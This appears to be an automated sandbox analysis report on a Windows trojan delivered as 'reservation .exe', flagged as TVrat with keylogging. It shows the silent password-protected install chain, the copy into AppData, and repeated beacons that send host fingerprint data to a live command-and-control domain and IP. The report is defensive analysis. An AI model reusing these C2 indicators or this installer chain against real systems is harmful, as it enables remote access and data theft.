Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50147	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:16:03 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:16:03 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50150	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:16:05 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:16:05 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	50153	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:16:06 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:16:06 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	50156	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:16:06 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:16:06 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	50159	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:16:11 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:16:11 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Target ID:	0
Start time:	13:13:59
Start date:	19/11/2024
Path:	C:\Users\user\Desktop\reservation .exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\reservation .exe"
Imagebase:	0x400000
File size:	7'988'632 bytes
MD5 hash:	DED33758F9470A6EE7CCABA58301F651
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:14:00
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp" /SL5="$10464,7120736,816128,C:\Users\user\Desktop\reservation .exe"
Imagebase:	0x400000
File size:	3'152'384 bytes
MD5 hash:	D3E870E4BBE9AAF106AB9B0510956A89
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:14:00
Start date:	19/11/2024
Path:	C:\Users\user\Desktop\reservation .exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\reservation .exe" /verysilent /password=84t66giu
Imagebase:	0x400000
File size:	7'988'632 bytes
MD5 hash:	DED33758F9470A6EE7CCABA58301F651
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:14:00
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp" /SL5="$2046A,7120736,816128,C:\Users\user\Desktop\reservation .exe" /verysilent /password=84t66giu
Imagebase:	0x400000
File size:	3'152'384 bytes
MD5 hash:	D3E870E4BBE9AAF106AB9B0510956A89
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:14:41
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\qilq\g3ll5lm.bat""
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:14:41
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:14:41
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\xcopy.exe
Wow64 process (32bit):	true
Commandline:	xcopy /Y /I /S "C:\Users\user\AppData\Local\Temp\qilq\*" "C:\Users\user\AppData\Roaming\fat\"
Imagebase:	0x2a0000
File size:	43'520 bytes
MD5 hash:	7E9B7CE496D09F70C072930940F9F02C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:15:09
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Roaming\fat\ast.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\fat\ast.exe"
Imagebase:	0x400000
File size:	7'543'992 bytes
MD5 hash:	8002D9E5851728EB024B398CF19DE390
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000000A.00000000.2727527393.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_TVrat, Description: Yara detected TVrat, Source: 0000000A.00000000.2727527393.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Roaming\fat\ast.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Roaming\fat\ast.exe, Author: Joe Security Rule: JoeSecurity_TVrat, Description: Yara detected TVrat, Source: C:\Users\user\AppData\Roaming\fat\ast.exe, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	13:15:22
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Roaming\fat\ast.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\fat\ast.exe"
Imagebase:	0x400000
File size:	7'543'992 bytes
MD5 hash:	8002D9E5851728EB024B398CF19DE390
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:15:30
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Roaming\fat\ast.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\fat\ast.exe"
Imagebase:	0x400000
File size:	7'543'992 bytes
MD5 hash:	8002D9E5851728EB024B398CF19DE390
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	15.8%
Total number of Nodes:	774
Total number of Limit Nodes:	48

Executed Functions

Function 6B6F6D50 Relevance: 24.2, APIs: 16, Instructions: 171
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 6B6F6D80
htonl.WS2_32(7F000001), ref: 6B6F6DA3
setsockopt.WS2_32(00000000,0000FFFF,00000004,00000001,00000004), ref: 6B6F6DCD
bind.WS2_32(00000000,?,00000010), ref: 6B6F6DE3
getsockname.WS2_32(00000000,?,00000010), ref: 6B6F6DFB
listen.WS2_32(00000000,00000001), ref: 6B6F6E0D
socket.WS2_32(00000002,00000001,00000000), ref: 6B6F6E22
connect.WS2_32(00000000,?,00000010), ref: 6B6F6E36
accept.WS2_32(00000000,00000000,00000000), ref: 6B6F6E4A
curl_msnprintf.LIBCURL(?,0000000C,6B730CA0,6B6C1172), ref: 6B6F6E68
send.WS2_32(6B6C1172,?,?,00000000), ref: 6B6F6E88
recv.WS2_32(C74C79C0,00000001,0000000C,00000000), ref: 6B6F6E9D
closesocket.WS2_32(00000000), ref: 6B6F6EF6
closesocket.WS2_32(00000000), ref: 6B6F6F16
closesocket.WS2_32(6B6C1172), ref: 6B6F6F1A
closesocket.WS2_32(C74C79C0), ref: 6B6F6F1F

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: closesocket$socket$acceptbindconnectcurl_msnprintfgetsocknamehtonllistenrecvsendsetsockopt
String ID:
API String ID: 4135244658-0
Opcode ID: 942f72e852dfa858aa4c2396e58b1b9fff88825678885629bf4f7c8019508b76
Instruction ID: 98f49f35b89971e72205dceb9d96e8e3497c09310d714a0854c1a009fa906c9a
Opcode Fuzzy Hash: 942f72e852dfa858aa4c2396e58b1b9fff88825678885629bf4f7c8019508b76
Instruction Fuzzy Hash: 0951E571909204ABDB109F78CC84BAD7B7BAF06330F1053A6E979AB1D0D774A947CB60

Function 6B6EFEF0 Relevance: 15.3, APIs: 10, Instructions: 347
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASetLastError.WS2_32(00002726), ref: 6B6EFF52
WSASetLastError.WS2_32(00002726,00000000,00000001,000000FF), ref: 6B6F0105
WSASetLastError.WS2_32(00002726,00000000,00000001,000000FF), ref: 6B6F012E
Sleep.KERNEL32(FFFFFFFE,00000000,00000001,000000FF), ref: 6B6F0157
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6F01AA
select.WS2_32(?,?,?,?,?), ref: 6B6F0271
__WSAFDIsSet.WS2_32(?,?), ref: 6B6F02A9
__WSAFDIsSet.WS2_32(?,?), ref: 6B6F02E9
__WSAFDIsSet.WS2_32(?,?), ref: 6B6F0306
Sleep.KERNEL32(FFFFFFFE), ref: 6B6F037E

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ErrorLast$Sleep$Unothrow_t@std@@@__ehfuncinfo$??2@select
String ID:
API String ID: 1691268743-0
Opcode ID: 086e0b6a84231f487bc81a9ec012026eb2c1e74d270ef29f0820153e47994543
Instruction ID: ffcbda5257f79f5bcf841fca8670f026def57111583e868bae8aced08f4f1104
Opcode Fuzzy Hash: 086e0b6a84231f487bc81a9ec012026eb2c1e74d270ef29f0820153e47994543
Instruction Fuzzy Hash: D0D199B0A042198BEB25CF69C9507EA73FEFF49310F1045EDE859D7290D7788A82CB54

Function 6B6C2D20 Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 409
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to connect to %s port %ld: %s, xrefs: 6B6C327D
After %I64dms connect time, move on!, xrefs: 6B6C2F3C
Connection time-out, xrefs: 6B6C32C4
connect to %s port %ld failed: %s, xrefs: 6B6C3070

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID:
String ID: After %I64dms connect time, move on!$Connection time-out$Failed to connect to %s port %ld: %s$connect to %s port %ld failed: %s
API String ID: 0-184998888
Opcode ID: 4d2d07853d6dddb463f353d523d1ba980c8e040a4ad7d1ddd0f506e9d6a5ddee
Instruction ID: bbb73d10757c69febd2cfbe401119ee47ba58b8f8a3204f31bf8f2e19c37b324
Opcode Fuzzy Hash: 4d2d07853d6dddb463f353d523d1ba980c8e040a4ad7d1ddd0f506e9d6a5ddee
Instruction Fuzzy Hash: 34F1D1B1A007049FDB21DF389C41BEBB7B5EF89318F0041E9E85D97251DB39AA84CB52

Function 6B6F09F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 138
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

recv.WS2_32(?,?,?,00000000), ref: 6B6F0B04
send.WS2_32(?,?,?,00000000), ref: 6B6F0B2B
WSAGetLastError.WS2_32 ref: 6B6F0B3E

Strings

Send failure: %s, xrefs: 6B6F0B82

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ErrorLastrecvsend
String ID: Send failure: %s
API String ID: 3418755260-857917747
Opcode ID: 7ad36d2e7356ec7ed1d7823d97d5de49b9bfbd58f105dbdc3c187012287797db
Instruction ID: 53959c87eca85fc5d8a90debbf1f0b601e40472435cff3826b8151a5b056b5a0
Opcode Fuzzy Hash: 7ad36d2e7356ec7ed1d7823d97d5de49b9bfbd58f105dbdc3c187012287797db
Instruction Fuzzy Hash: BA51B4B1B002199FDB20CF28CC41B99B7F9EF05364F1042AAE969D7390D775A992CF80

Function 6B6C40C0 Relevance: 30.2, APIs: 10, Strings: 7, Instructions: 421
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32(?,?,?), ref: 6B6C41C1

Part of subcall function 6B6F06B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,$lnk), ref: 6B6F06EF
Part of subcall function 6B6F06B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6B6F072F

setsockopt.WS2_32(00000000,00000006,00000001,?,00000004), ref: 6B6C42C8
WSAGetLastError.WS2_32(?,00000100), ref: 6B6C42DE
getsockopt.WS2_32(00000000,0000FFFF,00001001,00000000,00000004), ref: 6B6C4377
setsockopt.WS2_32(00000000,0000FFFF,00001001,00004020,00000004), ref: 6B6C43A3
setsockopt.WS2_32(00000000,0000FFFF,00000008,00000000,00000004), ref: 6B6C43DE
WSAIoctl.WS2_32(00000000,98000004,00000001,0000000C,00000000,00000000,00000004,00000000,00000000), ref: 6B6C4461
WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000007), ref: 6B6C446B

Part of subcall function 6B6EA660: ioctlsocket.WS2_32(00000000,8004667E,TElk), ref: 6B6EA67A

Part of subcall function 6B6FE5D0: QueryPerformanceCounter.KERNEL32(6B6EF03B,?,6B6C669E,6B6EF03B,?,?,?,?), ref: 6B6FE5E5
Part of subcall function 6B6FE5D0: __alldvrm.LIBCMT ref: 6B6FE5FE
Part of subcall function 6B6FE5D0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6FE627

connect.WS2_32(00000000,?,?), ref: 6B6C45D2

Part of subcall function 6B6E69D0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6E6A0D

WSAGetLastError.WS2_32 ref: 6B6C4604

Strings

Trying %s:%ld..., xrefs: 6B6C4271
Immediate connect fail for %s: %s, xrefs: 6B6C463A
Failed to set SO_KEEPALIVE on fd %d, xrefs: 6B6C43E9
Could not set TCP_NODELAY: %s, xrefs: 6B6C42EB
@, xrefs: 6B6C430C
sa_addr inet_ntop() failed with errno %d: %s, xrefs: 6B6C4235
Failed to set SIO_KEEPALIVE_VALS on fd %d: %d, xrefs: 6B6C4473

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ErrorLastsetsockopt$Unothrow_t@std@@@__ehfuncinfo$??2@$CounterIoctlPerformanceQuery__alldvrmconnectcurl_msnprintfcurl_mvsnprintfgetsockoptioctlsocketsocket
String ID: Trying %s:%ld...$ @$Could not set TCP_NODELAY: %s$Failed to set SIO_KEEPALIVE_VALS on fd %d: %d$Failed to set SO_KEEPALIVE on fd %d$Immediate connect fail for %s: %s$sa_addr inet_ntop() failed with errno %d: %s
API String ID: 194311702-3868455274
Opcode ID: ba3f447e3a5afb9c483e2d15c8e6d583adbf2df9715ced50144f6a203951d265
Instruction ID: d97729a51b8a95d8d4beee8c286c698f53ad9e2caf9096ffc921c039a097a003
Opcode Fuzzy Hash: ba3f447e3a5afb9c483e2d15c8e6d583adbf2df9715ced50144f6a203951d265
Instruction Fuzzy Hash: 94F193B1D40219AFEB20DF74CC89BAEB7B8EF05304F1001E6E519E6290DB799E858F55

Function 6B6C36A0 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 211
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getpeername.WS2_32(?,?,?), ref: 6B6C36FE
WSAGetLastError.WS2_32 ref: 6B6C3708

Part of subcall function 6B6FA0E0: GetLastError.KERNEL32(?,?,00000100), ref: 6B6FA0E7

Part of subcall function 6B6F05D0: curl_mvsnprintf.LIBCURL(?,00000100,6B6EC830,?), ref: 6B6F0610

getsockname.WS2_32(?,?,00000080), ref: 6B6C3772
WSAGetLastError.WS2_32 ref: 6B6C377C

Strings

getpeername() failed with errno %d: %s, xrefs: 6B6C3724
ssrem inet_ntop() failed with errno %d: %s, xrefs: 6B6C3801
getsockname() failed with errno %d: %s, xrefs: 6B6C3798
ssloc inet_ntop() failed with errno %d: %s, xrefs: 6B6C38A0

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ErrorLast$curl_mvsnprintfgetpeernamegetsockname
String ID: getpeername() failed with errno %d: %s$getsockname() failed with errno %d: %s$ssloc inet_ntop() failed with errno %d: %s$ssrem inet_ntop() failed with errno %d: %s
API String ID: 673488319-670633250
Opcode ID: f794888c9428704316612fe447c4d380d2cebe23082d3aea871a010df98db92f
Instruction ID: ecf90f9bae24e301c42d52fef031eada92b570d952f6195d42ad8dcae2284dde
Opcode Fuzzy Hash: f794888c9428704316612fe447c4d380d2cebe23082d3aea871a010df98db92f
Instruction Fuzzy Hash: CF81B0B59007089BD721DF74C945BEAB3FCEF58308F1041AAE99D9B202EB357A85CB54

Function 6B6C16D0 Relevance: 12.1, APIs: 8, Instructions: 79
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

curl_msnprintf.LIBCURL(?,0000000C,6B72B330,?), ref: 6B6C16FA

Part of subcall function 6B6C6E10: getaddrinfo.WS2_32(?,?,?,6B72B330), ref: 6B6C6E2E

WSAGetLastError.WS2_32 ref: 6B6C1722
